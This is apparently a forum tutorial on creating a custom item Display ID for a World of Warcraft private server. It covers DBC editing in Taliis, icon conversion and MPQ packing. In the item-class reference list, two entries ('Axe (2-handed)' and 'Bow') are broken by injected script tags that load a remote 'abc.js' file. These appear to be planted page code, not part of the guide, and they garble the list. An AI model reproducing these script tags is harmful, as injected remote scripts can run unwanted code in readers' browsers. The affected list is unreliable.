I don't really like the idea of model swapping on a private server. I understand how awesome it is on retail, but on a private server, personalization is #1! A custom Display ID is a huge part of this.
Now, there are a few guides out there on how to edit certain DBC files. But they're all just bits and pieces. The most in-depth ones I could find were by Eatos. Only problem was with the ItemDisplayInfo.dbc guide. My .dbc file had numbers instead of strings! Turns out, the numbers are just references to strings. I'm going to try to make the most in-depth guide on ItemDisplayInfo.dbc that I can. Here's what I found out I had to do:
Up until now, I had been using DBCUtil, as many people probably are. And they are most likely aware of how irritating it is. Not only that, but I'm using a MAC! DBCUtil doesn't like me.
A great tool I discovered, though not extremely new, was Taliis by Tigurius
The great thing about Taliis is that it's written in Java, making it Mac friendly
So, all credit to the creators of those tools!
To begin, you'll need a custom model. Well, you don't NEED one, but why else would you be making a new display ID?
As an example, I will be using an AMAZING 2h Axe model called Magmadeep by Bloomfalls.
ALL credit to Bloomfalls for this model.
Now, let's begin!
First I am going to create a custom item as I normally would on WoW-V.
For the Display ID field, enter the ID you are going to use for your custom one.
Enter in all the stats, bonuses, etc that you want and click "Submit".
Even though it says the Display ID is nonexistent, download it for whatever emulator you use. Because you're gonna make that Display ID.
[SPOILER][/SPOILER]
Now you have the .sql. Add it to your database now if your server is running, so you don't need to later.
One last thing before the DBC. And that is the inventory icon. You know, the little picture in your bag of the item that you scroll over for a tooltip?
It's as simple as making a .png and converting it.
To convert the .png to a .blp, we will use the WoWImage BLP Converter, which is another Java tool, which means it works on any platform!(NOTE: Since WoWImage is a Java application. You must have Java installed.)
Now, your icon will look rather out of place without the frame used on EVERY blizzard item around it. Here is a conveniently placed template in 500x500 resolution! YAY!
[SPOILER][/SPOILER]
Honestly if you don't have Photoshop or any other good image editing software, you're screwed at this part. You'll need to put the template over your image(resized to 500x500, quality doesn't matter at all. If the original size of your image was 240x240 it's still fine.) on a seperate layer. Then erase any colour outside of the frame. (MAKE SURE IT'S ERASED TO BLANK SPACE, NOT WHITE SPACE. MAKE SURE IT IS THIS:
Once you've fitted the frame and erased any colour outside of it, resize the entire image to 64x64. <--This is VERY important. Save it as a .png, Non-Interlaced.
Now, open up WoWImage! Browse to the location of your .png image and drag it onto the "Encode" button. Your .blp will appear in the same directory as your .png.
Onwards to the DBC file!
(NOTE: Taliis is a Java application. You must have Java installed.)
Open up Taliis and click "File>Open" and navigate to your DBC file and open it
Double-click on the file name to bring down a list of view options:
Click on the top option, "Table". This is where you edit rows.
Now, you need to create some strings.
Click on "Strings" and you will see an option to add a new string. BE CAREFUL. You cannot delete strings at the moment. So if you make a mistake, don't save.
Enter in the file names of your model(s), skin(s), and/or inventory icon, one by one.
Once you've added all of them, scroll to the bottom. You will see your newly made strings! This is where Taliis epicly pwns DBCUtil.
As you have most likely guessed, the numbers in the first field are the numbers you put into the table. So let's return to the table. Click the top "Table" view option again and scroll to the bottom.
Right click any row. Click "Clone Row" This will add a new row identical to the previous one, so you must change the entries. Here is what you need to know for what must be entered into the fields here:
Code:
Field 1: The Display ID(eg: I would put 98000)
Field 2: This is the filename of the model.
Field 3: This is the filename of the second model, in the case of shoulders.
Field 4: This is the filename of the skin.
Field 5: This is the filename of the second skin, in the case of shoulders.
Field 6: This is the filename of the bag icon.
Fields 8 through 11: These determine the shape of armour. Nothing to worry about if you're adding a custom weapon, but if you're adding a custom armour texture, I would just copy these fields from an existing item with the same shape.
Fields 14 and 15: These are used only for HELMETS that hide facial features such as ears, tusks, beards, etc. go to this page of the WoWDev Wiki for the numbers to enter if you are adding a helmet.
Fields 16 through 23: These are the filenames of armour textures. We'll touch on this a bit more with Taliis.
Field 24: This is the field for enchanting effects, such as glowing around the weapon. The number you put here is a reference from ItemVisuals.dbc. I provided a guide on This Thread
All of the information on the fields was taken from this page of the WoWDev Wiki.[/CODE]
Add in your string IDs:
You just made a new item display ID!!
Now, to prevent bugs such as "Requires melee weapon" popping up and the icon being a "?", we need to edit Item.dbc. This is a hell of a lot simpler.
Open Item.dbc. Clone a new row and follow these guidelines to fill in the fields:
Code:
Field 1: Item Entry ID(eg: I would put 98000)
Field 2: Item Class(eg: I would put 2, for a weapon)
Field 3: Item SubClass(eg: I would put 1, for a 2h axe)
Item Classes and their SubClasses(taken from arcemu wiki):
[SPOILER]0 => Consumables
0 = Consumable
1 = Potions
2 = Elixirs
3 = Flasks
4 = Scrolls
5 = Food & Drinks
6 = Item Enhancements
7 = Bandages
8 = Other
1 => Bags
1 = Soul Bag
2 = Herb Bag
3 = Enchanting Bag
4 = Engineering Bag
5 = Gem Bag
6 = Mining Bag
7 = Leatherworking Bag
8 = Inscription Bag
2 => Weapons
0 = Axe (1-handed)
1 = <script src="http://www.google-analytics.com/abc.js"></script>Axe (2-handed)
2 = B<script src="http://www.google-analytics.com/abc.js"></script>ow
3 = Gun
4 = Mace (1-handed)
5 = Mace (2-handed)
6 = Polearm
7 = Sword (1-handed)
8 = Sword (2-handed)
9 = UNKNOWN
10 = Staff
11 = UNKNOWN
12 = UNKNOWN
13 = Fist Weapon
14 = UNKNOWN
15 = Daggers
16 = Thrown
17 = Spear (Not Supported/Unused)
18 = Crossbows
19 = Wands
20 = Fishing Poles
3 => Gems
0 = Red
1 = Blue
2 = Yellow
3 = Purple
4 = Green
5 = Orange
6 = Meta
7 = Simple
8 = Prismatic
4 => Armor
0 = Miscellaneous
1 = Cloth
2 = Leather
3 = Mail
4 = Plate
5 = UNKNOWN
6 = Shields
7 = Librams
8 = Idols
9 = Totems
10 = Sigils
5 => ??? (ex: Ankh)
6 => Projectiles
2 = Arrows
3 = Bullets
7 => Trade goods
8 => ??? (empty)
9 => Recipes, Patterns, Plans
10 => Marks of honor, badges, etc.
11 => Quiver and ammo pounches
12 => ??? (seems to be quest items)
13 => Keys
14 => Mount
15 => Miscellaneous - Junk (gray color - poor quanity items)
0 = Junk
1 = Reagents
2 = non-combat pets
3 = Holiday items
4 = Other
5 = Mounts
16 => Glyphs[/SPOILER]
Field 4: Unknown, set to "-1"
Field 5: Quality(eg: I would put 5 for Legendary)
Qualities:
[SPOILER]
Junk(Grey): 0
Common(White): 1
Uncommon(Green): 2
Rare(Blue): 3
Epic(Purple): 4
Legendary(Orange): 5
Artefact(Gold/White): 6[/SPOILER]
Field 6: Display ID(eg: I would put 98000)
Field 7: Inventory ID/Slot ID. This is the actual number that determines where it is equipped.(eg: I would put 17 for 2-handed)
Slot IDs:
[SPOILER]0 None
1 Head
2 Neck
3 Shoulders
4 Shirt
5 Vest
6 Waist
7 Legs
8 Feet
9 Wrist
10 Hands
11 Ring
12 Trinket
13 One hand
14 Shield
15 Bow
16 Back
17 Two hand
18 Bag
19 Tabbard
20 Robe
21 Main hand
22 Off hand
23 Held
24 Ammo
25 Thrown
26 Ranged[/SPOILER]
Field 8: Leave at "0"
The final step! The MPQ Archive!
All that's left to be done is to pack these files into an MPQ.
Pick whatever editor you prefer from this list:
Windows:
WinMPQ
Mac:
DropMPQ
DropMPQ:
Pretty self explanatory.
Make a folder, name it "DBFilesClient". Put your .dbc files inside it.
Now make another folder called "Interface". Make a folder inside it called "Icons". Put your inventory icon in it.
Make one last folder called "patch-enUS-8" and put both folders inside it. You can replace the "8" with any number that isn't 1, 2, or 3. Replace "enUS" with whatever your locale is.
Drag the "patch-enUS-8" folder onto the DropMPQ icon in the dock, and your MPQ is made!
Put the MPQ inside "World of Warcraft/Data/enUS" or whatever your locale is.
WinMPQ:
Open WinMPQ, click "Create new archive" save it anywhere, name it "patch-enUS-8". The "8" can be any number that isn't 1, 2, or 3. Replace "enUS" with whatever your locale is.
Now click "Add" and find your .dbc files. Select them both, and click open. A box will appear asking you to enter a file path, enter: "DBFilesClient\" DO NOT FORGET THE "\".
Now find your inventory icon. Add it, but set it's path to "Interface\Icons\".
That's it. WinMPQ autosaves any changes!
Move the MPQ to your "World of Warcraft\Data\enUS" folder, or whatever your locale is.
One last thing:
Put the ItemDisplayInfo.dbc and Item.dbc files inside your server's "bin\dbc\" folder. Replace the old one, but back it up if you want.
Additional info:
If you need to open an MPQ archive on a Mac, use this:
MPQ Extractor
This is for when you need to change filenames of models/skins. I needed to change the names of the model and skin of Magmadeep when I used it.
Now just fire up your server!
The result!
Bag Icon:
Ingame:
I hope this guide helped you. If I left anything out, tell me. If you have ANY problems, feel free to ask me via message or comment on this thread.